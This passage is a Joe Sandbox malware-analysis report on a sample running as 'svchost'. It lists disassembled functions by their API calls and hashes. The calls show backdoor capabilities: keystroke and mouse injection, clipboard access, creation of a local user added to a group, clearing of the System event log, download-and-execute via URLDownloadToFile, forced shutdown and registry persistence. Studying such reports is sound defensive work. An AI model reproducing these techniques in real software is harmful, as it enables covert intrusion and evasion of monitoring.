Instruction Fuzzy Hash: 01F0FC35BD0210B7D211A7A4AC4BFEB3E64DF85B55F804026F70C551D1D6A85544C6BA

Function 0040C310 Relevance: 13.7, APIs: 9, Instructions: 163keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00414690: GetCurrentThreadId.KERNEL32 ref: 004146A2
Part of subcall function 00414690: GetThreadDesktop.USER32(00000000), ref: 004146A9
Part of subcall function 00414690: GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 004146D6
Part of subcall function 00414690: OpenInputDesktop.USER32(00000000,00000000,02000000), ref: 004146E1
Part of subcall function 00414690: GetUserObjectInformationA.USER32(00000000,00000002,?,00000100,?), ref: 0041470E
Part of subcall function 00414690: lstrcmpiA.KERNEL32(?,?), ref: 0041471D
Part of subcall function 00414690: SetThreadDesktop.USER32(00000000), ref: 00414728
Part of subcall function 00414690: CloseDesktop.USER32(00000000), ref: 00414740
Part of subcall function 00414690: CloseDesktop.USER32(00000000), ref: 00414743

SetCursorPos.USER32(?,?,?,?,?,?,0040BF2F,?,?,00000000), ref: 0040C378
WindowFromPoint.USER32(?,?,?,?,?,?,0040BF2F,?,?,00000000), ref: 0040C380
SetCapture.USER32(00000000,?,?,?,?,0040BF2F,?,?,00000000), ref: 0040C387
MapVirtualKeyA.USER32(?,00000000), ref: 0040C3C6
keybd_event.USER32(?,00000000), ref: 0040C3D0
MapVirtualKeyA.USER32(?,00000000), ref: 0040C3E4
keybd_event.USER32(00000000,00000000), ref: 0040C3EE
mouse_event.USER32(00000008,00000000,00000000,00000000,00000000), ref: 0040C4AA

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Desktop$Thread$CloseInformationObjectUserVirtualkeybd_event$CaptureCurrentCursorFromInputOpenPointWindowlstrcmpimouse_event
String ID:
API String ID: 1258999209-0
Opcode ID: aa74827eff40decddc8649d36552cbf02e5d3938581d94c03264e01da4f77fbb
Instruction ID: 76be14947f23963058b8277b9e1e69e5e8f07419bbf61c055b6028b68a3fd9e6
Opcode Fuzzy Hash: aa74827eff40decddc8649d36552cbf02e5d3938581d94c03264e01da4f77fbb
Instruction Fuzzy Hash: 5A4179313C4714FAF6308B149CDBF6A7665A784F10F308226BB02BE2D5C1F8B841969E

Function 0040C560 Relevance: 13.6, APIs: 9, Instructions: 57clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0040C56A
GetClipboardData.USER32(00000001), ref: 0040C576
CloseClipboard.USER32 ref: 0040C586
GlobalSize.KERNEL32(00000000), ref: 0040C595
GlobalLock.KERNEL32(00000000), ref: 0040C59F
??2@YAPAXI@Z.MSVCRT ref: 0040C5A8
GlobalUnlock.KERNEL32(?), ref: 0040C5CF
CloseClipboard.USER32 ref: 0040C5D5
??3@YAXPAX@Z.MSVCRT ref: 0040C5E7

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Clipboard$Global$Close$??2@??3@DataLockOpenSizeUnlock
String ID:
API String ID: 3218637236-0
Opcode ID: 0f2c25f92e48726ef0faa634773479f094718d409eee8859df72face2c81424d
Instruction ID: 64223fe2ebda81e1997180c3e04a13252c62189068daa7172f3e096e88caf4b6
Opcode Fuzzy Hash: 0f2c25f92e48726ef0faa634773479f094718d409eee8859df72face2c81424d
Instruction Fuzzy Hash: C301C475584314AFD700AB34BC896DB36A8FF45715F44C139FC06D2341EA799908CAAA

Function 0040C4F0 Relevance: 12.0, APIs: 8, Instructions: 38clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0040C4F2
EmptyClipboard.USER32 ref: 0040C4FE
GlobalAlloc.KERNEL32(00002000,?,?,?,?,?), ref: 0040C50E
GlobalLock.KERNEL32(00000000,?,?,?,?,?), ref: 0040C51C
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?), ref: 0040C539
SetClipboardData.USER32(00000001,00000000), ref: 0040C542
GlobalFree.KERNEL32(00000000), ref: 0040C549
CloseClipboard.USER32 ref: 0040C550

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyFreeLockOpenUnlock
String ID:
API String ID: 453615576-0
Opcode ID: 0c4942b04c88f22831e40b061fb1f7f791252af0c5496766d9d957edc7dad4ad
Instruction ID: c11a50bdf75aa7ca4af55b17e424e40e12b6672a0ffb1c5a7b435e9021a6f8b2
Opcode Fuzzy Hash: 0c4942b04c88f22831e40b061fb1f7f791252af0c5496766d9d957edc7dad4ad
Instruction Fuzzy Hash: D4F036712C0315AFD7046B746CDCBAB7768FB48712B048439FE12D2291CB645804CF69

Function 00410C30 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 00410C59
lstrlenA.KERNEL32(00000000), ref: 00410C69
lstrlenA.KERNEL32(00000000), ref: 00410C72

Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBB4
Part of subcall function 0040EB90: ??2@YAPAXI@Z.MSVCRT ref: 0040EBC1
Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBDD

NetUserAdd.NETAPI32(00000000,00000001,?,?), ref: 00410CC4
wcscpy.MSVCRT ref: 00410D08
NetLocalGroupAddMembers.NETAPI32(00000000,00000000,00000001,?,?), ref: 00410D2C
LocalFree.KERNEL32(?,00000000,00000000,00000001,?,?), ref: 00410D57

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$ByteCharLocalMultiWide$??2@FreeGroupMembersUserwcscpy
String ID:
API String ID: 3417899458-0
Opcode ID: 6f1d902b724190357e1c3beeb45652af6753a74cd135c5db3b1ade1efa7d9896
Instruction ID: c39e7755f8aad90701b135733e6f2760f15cafb1abd3cd2df62b73d6285de37f
Opcode Fuzzy Hash: 6f1d902b724190357e1c3beeb45652af6753a74cd135c5db3b1ade1efa7d9896
Instruction Fuzzy Hash: 2C3192716043016BD310EB26CC81AAFBBECEFC5718F44493EF54493282EA79D94987A6

Function 0040D180 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 0040D18A
OpenProcessToken.ADVAPI32(00000000), ref: 0040D191
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 0040D1C2
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,00000010,00000000,00000000), ref: 0040D1DA
GetLastError.KERNEL32(?,00000000,00000000,00000010,00000000,00000000), ref: 0040D1E0
CloseHandle.KERNEL32(00000000,?,00000000,00000000,00000010,00000000,00000000), ref: 0040D1EF

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: fba53388096f80a00958d455c802d3523f232cfe15d792ac25a1d2890b00dd67
Instruction ID: 8e00f1f031bb106db07a1fc63c7fda331e37dd9b3ae8c73b4a4d929bb2e87527
Opcode Fuzzy Hash: fba53388096f80a00958d455c802d3523f232cfe15d792ac25a1d2890b00dd67
Instruction Fuzzy Hash: 350179B5684300BFE304DFB4DC49F6B77A4BB88701F84C96CF546C6290D675D4088B55

Function 004090B0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000), ref: 004090EC
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 004090F7
CloseEventLog.ADVAPI32(00000000), ref: 004090FA

Strings

$<B, xrefs: 004090CB
0<B, xrefs: 004090DB
System, xrefs: 004090D3

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: $<B$0<B$System
API String ID: 1391105993-4247966485
Opcode ID: 5d8b965f399d1fa8556b3a7f7b3f75d04b61032706743535e7913455c4d6073c
Instruction ID: 1bec6e4b38fd688b97b7ae012fa1e8e0ca55df4902cf2e0b2cfe15371f7a55d8
Opcode Fuzzy Hash: 5d8b965f399d1fa8556b3a7f7b3f75d04b61032706743535e7913455c4d6073c
Instruction Fuzzy Hash: F3F096726053229BD310DF49EC4475BFBE4FF88755F804819F550A7251D3B9EA088BEA

Function 00414110 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00414157
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll), ref: 0041416F
GetLastError.KERNEL32(?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414175
CloseHandle.KERNEL32(?,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414186

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c6720e921c8754bec2e110daefeb9787367c1f5f8bf318d0fca3f85e158b70f1
Instruction ID: f3fabc225ae7c373bb967f4752ac61ebd966b498e89eebf574b6c9a4d479802f
Opcode Fuzzy Hash: c6720e921c8754bec2e110daefeb9787367c1f5f8bf318d0fca3f85e158b70f1
Instruction Fuzzy Hash: 1C01D471684310BBD304DBB4DC8AFEB77A8BF88B00F41C92DF98596280D774D8448B99

Function 00407DB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000021,?,00000021,00000000,00000001), ref: 00407DEF
FindClose.KERNEL32(00000000), ref: 00407E69
CreateFileA.KERNEL32(00000021,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00407E81
CloseHandle.KERNEL32(00000000), ref: 00407EAB

Strings

p, xrefs: 00407DFE

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseFileFind$CreateFirstHandle
String ID: p
API String ID: 3283578348-2181537457
Opcode ID: 607758609670396dd634f7705afdae27c9e80ae38b0e78de45627f583aa67a4a
Instruction ID: 4a6c7374471a26af22c21de7c97ee6699c2cdcf48220bdf43b3e552037d6e40a
Opcode Fuzzy Hash: 607758609670396dd634f7705afdae27c9e80ae38b0e78de45627f583aa67a4a
Instruction Fuzzy Hash: 0631C171C4C3119BD7249F28DC847AB76A4AF84360F14857EF859AB3C0C638AC058B8B

Function 00408F10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 75processfilestringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408F30
strrchr.MSVCRT ref: 00408F4C
URLDownloadToFileA.URLMON(00000000,00000000,00000001,00000000,00000000), ref: 00408F61

Part of subcall function 00408EE0: GetFileAttributesA.KERNEL32(?), ref: 00408EE5
Part of subcall function 00408EE0: GetLastError.KERNEL32 ref: 00408EF0

CreateProcessA.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00408FA6

Strings

D, xrefs: 00408F8C

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: File$AttributesCreateDownloadErrorLastProcessmallocstrrchr
String ID: D
API String ID: 1133825092-2746444292
Opcode ID: 0ee9dfb1a197fcc61950aeb8abb4b65c28e9f373203b1fed03d9b979ed251431
Instruction ID: 641fd741e3dffe89cf35644dc27eeee5f413dddf5009ce50aadd4155585f7c96
Opcode Fuzzy Hash: 0ee9dfb1a197fcc61950aeb8abb4b65c28e9f373203b1fed03d9b979ed251431
Instruction Fuzzy Hash: 5C112C722441125BE31095359D41BBBB2DAEBD4324F04443EFD45D73C0EEB99D0A86EA

Function 004141A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

ExitWindowsEx.USER32(?,00000000), ref: 004141B6

Part of subcall function 00414110: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 00414157
Part of subcall function 00414110: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll), ref: 0041416F
Part of subcall function 00414110: GetLastError.KERNEL32(?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414175
Part of subcall function 00414110: CloseHandle.KERNEL32(?,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414186

Strings

SeShutdownPrivilege, xrefs: 004141A2, 004141BE

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorExitHandleLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 3672536310-3733053543
Opcode ID: 7a241d3c4a44347b2280178abdb6b7cf66b3897e6004206b686e0d79c54f2bd2
Instruction ID: 0ec0722157b3f3edb03cc593dd1a19e46bdde425880996791dea33d7b7a6db0f
Opcode Fuzzy Hash: 7a241d3c4a44347b2280178abdb6b7cf66b3897e6004206b686e0d79c54f2bd2
Instruction Fuzzy Hash: 76C01270BC431076D41023A47C4FF8536005BE0F05F9044167904551C2D5A950E4426E

Function 0040BE60 Relevance: 3.1, APIs: 2, Instructions: 148keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000000), ref: 0040BF1C
BlockInput.USER32(?,?,?,00000000), ref: 0040BF33

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 75267d6e0c4ae94954d4f9fdbe37ace88b87be16685b1af0c98acb4fafc3432a
Instruction ID: f4eb1292d31235e4769876a06b9e62398d1920730c83797297737009da8e2c4a
Opcode Fuzzy Hash: 75267d6e0c4ae94954d4f9fdbe37ace88b87be16685b1af0c98acb4fafc3432a
Instruction Fuzzy Hash: 6A41C137B086849BC314EF59E441BAAF7A5FBC9721F00867FE95583B40DB3A681087E4

Function 0040C190 Relevance: 3.0, APIs: 2, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C030: VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,?,?), ref: 0040C055
Part of subcall function 0040C030: VirtualFree.KERNEL32(00000000,00000000,00008000,?,?), ref: 0040C099

Part of subcall function 0040A510: WaitForSingleObject.KERNEL32(?,000000FF,0040C1C0,?,?,?,?,?,0041BC30,000000FF), ref: 0040A516
Part of subcall function 0040A510: Sleep.KERNEL32(00000096,?,?,?,?,?,0041BC30,000000FF), ref: 0040A521

Part of subcall function 0040C0B0: ??2@YAPAXI@Z.MSVCRT ref: 0040C0DB
Part of subcall function 0040C0B0: ??3@YAXPAX@Z.MSVCRT ref: 0040C10D

GetTickCount.KERNEL32 ref: 0040C1E1

Part of subcall function 0040C120: ??2@YAPAXI@Z.MSVCRT ref: 0040C14C
Part of subcall function 0040C120: ??3@YAXPAX@Z.MSVCRT ref: 0040C17F

Sleep.KERNEL32(0000000A,?,?,?,?,?,0041BC30,000000FF), ref: 0040C1EC

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@??3@SleepVirtual$AllocCountFreeObjectSingleTickWait
String ID:
API String ID: 2525404969-0
Opcode ID: 94367fec81660467e6bcba43487b737db75c096c9ba2b4f7d606e1a45960db8a
Instruction ID: 57816cb01a2125c1718e1f34dd7cf890ff0832dd3fe88f215cb3f28dd0297180
Opcode Fuzzy Hash: 94367fec81660467e6bcba43487b737db75c096c9ba2b4f7d606e1a45960db8a
Instruction Fuzzy Hash: 3EF0A471740618EBC700DB55CC91B6EB3A8EB48B24F00432FF501A73C1CB7968018BD9

Function 00410F60 Relevance: 315.5, APIs: 3, Strings: 207, Instructions: 463sleepCOMMON

Download Yara Rule

APIs

atoi.MSVCRT ref: 00410F73

Part of subcall function 0040AA70: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F013F,00000000,?,?), ref: 0040AAC7
Part of subcall function 0040AA70: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AAE7
Part of subcall function 0040AA70: RegSetValueExA.ADVAPI32(?,?,00000000,?,?,?), ref: 0040AB1D

Part of subcall function 0040AA70: RegSetValueExA.ADVAPI32(?,?,00000000,?,?), ref: 0040AB4A

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

atoi.MSVCRT ref: 004119DB

Part of subcall function 0040AA70: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB68
Part of subcall function 0040AA70: RegDeleteKeyA.ADVAPI32(?,?), ref: 0040AB7A

Sleep.KERNEL32(000005DC), ref: 00411A09

Part of subcall function 0040AA70: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 0040AB98
Part of subcall function 0040AA70: RegDeleteValueA.ADVAPI32(?,?), ref: 0040ABAA

Strings

S, xrefs: 004118D3
C, xrefs: 00411166
a, xrefs: 004112C8
o, xrefs: 004112DF
C, xrefs: 00411040
l, xrefs: 0041101A
, xrefs: 00411266
o, xrefs: 0041172C
\, xrefs: 00411633
M, xrefs: 00411156
Y, xrefs: 00411136
S, xrefs: 00411022
C, xrefs: 004113FC
p, xrefs: 00411530
S, xrefs: 00411715
S, xrefs: 00411776
T, xrefs: 00411937
b, xrefs: 0041191A
v, xrefs: 00411494
d, xrefs: 004114D9
C, xrefs: 004113A9
-, xrefs: 00411316
\, xrefs: 0041115E
, xrefs: 00411678
S, xrefs: 004117F6
i, xrefs: 004112D7
o, xrefs: 00410FF5
f, xrefs: 00411928
o, xrefs: 004113CE
c, xrefs: 0041194B
N, xrefs: 0041190B
, xrefs: 00411771
S, xrefs: 00411795
o, xrefs: 004111F4
P, xrefs: 004118F9
C, xrefs: 004111EC
S, xrefs: 004111CE
C, xrefs: 00411199
W, xrefs: 004114B2
d, xrefs: 004114F1
R, xrefs: 004110F6
o, xrefs: 004111A1
D, xrefs: 004110FE
R, xrefs: 004112FE
o, xrefs: 0041170B
T, xrefs: 0041110E
l, xrefs: 004111C6
l, xrefs: 0041162B
S, xrefs: 0041133E
S, xrefs: 0041179F
\, xrefs: 00411221
l, xrefs: 004118C3
S, xrefs: 00410F92
i, xrefs: 00411659
o, xrefs: 0041186E
\, xrefs: 00410FB2
d, xrefs: 00411509
M, xrefs: 004116CD
C, xrefs: 004115FE
S, xrefs: 0041126E
m, xrefs: 00411651
E, xrefs: 004117A9
m, xrefs: 0041144F
o, xrefs: 004115D0
\, xrefs: 004111E4
C, xrefs: 00411376
\, xrefs: 0041136E
M, xrefs: 00410FAA
o, xrefs: 00411211
o, xrefs: 0041173D
T, xrefs: 0041107D
\, xrefs: 00411722
a, xrefs: 004110AA
Y, xrefs: 0041179A
E, xrefs: 0041114E
M, xrefs: 004117AE
S, xrefs: 004112B9
C, xrefs: 00411866
M, xrefs: 00411366
i, xrefs: 00411247
a, xrefs: 00411668
l, xrefs: 004110B2
D, xrefs: 00411306
S, xrefs: 0041193C
l, xrefs: 0041146E
o, xrefs: 00411012
\, xrefs: 004114CA
M, xrefs: 00411568
c, xrefs: 00411116
v, xrefs: 004110D8
l, xrefs: 00411670
T, xrefs: 00411146
S, xrefs: 00411680
s, xrefs: 00411511
c, xrefs: 00411528
C, xrefs: 004117D6
d, xrefs: 004114BA
l, xrefs: 0041106D
u, xrefs: 004117BD
a, xrefs: 004118BB
C, xrefs: 00410FED
i, xrefs: 004112AA
E, xrefs: 004116C8
E, xrefs: 00410FA2
o, xrefs: 00411606
\, xrefs: 004114AA
i, xrefs: 0041175E
, xrefs: 00411476
C, xrefs: 004116D7
u, xrefs: 0041137E
i, xrefs: 00411457
a, xrefs: 00411466
T, xrefs: 004117A4
l, xrefs: 004113D6
\, xrefs: 004115F6
i, xrefs: 0041109B
o, xrefs: 00411959
\, xrefs: 00411747
v, xrefs: 00411284
T, xrefs: 00411356
W, xrefs: 004112A2
o, xrefs: 004113B1
l, xrefs: 0041188C
S, xrefs: 0041147E
u, xrefs: 00411910
u, xrefs: 00410FC2
a, xrefs: 00411767
p, xrefs: 004114E1
T, xrefs: 00411501
S, xrefs: 0041134E
\, xrefs: 0041185E
\, xrefs: 0041129A
\, xrefs: 004116D2
v, xrefs: 00411783
s, xrefs: 004114C2
\, xrefs: 00411894
\, xrefs: 004113F4
p, xrefs: 0041132E
, xrefs: 004118CB
o, xrefs: 004111BE
o, xrefs: 00411623
s, xrefs: 0041195E
o, xrefs: 00411946
Y, xrefs: 00411346
Y, xrefs: 00410F8A
l, xrefs: 00411429
S, xrefs: 004113DE
a, xrefs: 00411256
o, xrefs: 004117EC
i, xrefs: 004118B3
\, xrefs: 00411075
E, xrefs: 00411560
o, xrefs: 00411884
o, xrefs: 00411404
T, xrefs: 00411558
\, xrefs: 00411431
m, xrefs: 00411093
l, xrefs: 00411742
w, xrefs: 004114E9
p, xrefs: 0041111E
\, xrefs: 004112F6
v, xrefs: 00411696
\, xrefs: 004114F9
T, xrefs: 00411229
m, xrefs: 00411759
l, xrefs: 004117F1
C, xrefs: 004117B8
T, xrefs: 00410F9A
c, xrefs: 00411326
\, xrefs: 004110EE
S, xrefs: 004110C2
l, xrefs: 00411219
\, xrefs: 00411038
l, xrefs: 0041125E
S, xrefs: 00410F82
T, xrefs: 00411439
C, xrefs: 00410FBA
E, xrefs: 0041135E
o, xrefs: 004118FE
o, xrefs: 00411421
o, xrefs: 00411048
m, xrefs: 004118AB
s, xrefs: 004112EE
o, xrefs: 00411065
S, xrefs: 0041112E
m, xrefs: 0041123F
u, xrefs: 0041116E
D, xrefs: 0041192D
l, xrefs: 004115D8
P, xrefs: 0041130E
\, xrefs: 00411519
\, xrefs: 004117B3
P, xrefs: 00411106
C, xrefs: 004115AB
l, xrefs: 0041176C
i, xrefs: 00411954
C, xrefs: 00411941
T, xrefs: 0041131E
S, xrefs: 0041113E
o, xrefs: 004117DB
v, xrefs: 004118E2
T, xrefs: 0041174C
m, xrefs: 00411915
, xrefs: 004110BA
T, xrefs: 0041189C
T, xrefs: 0041163B
y, xrefs: 00411932

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Open$Value$Deleteatoi$CreateSleep
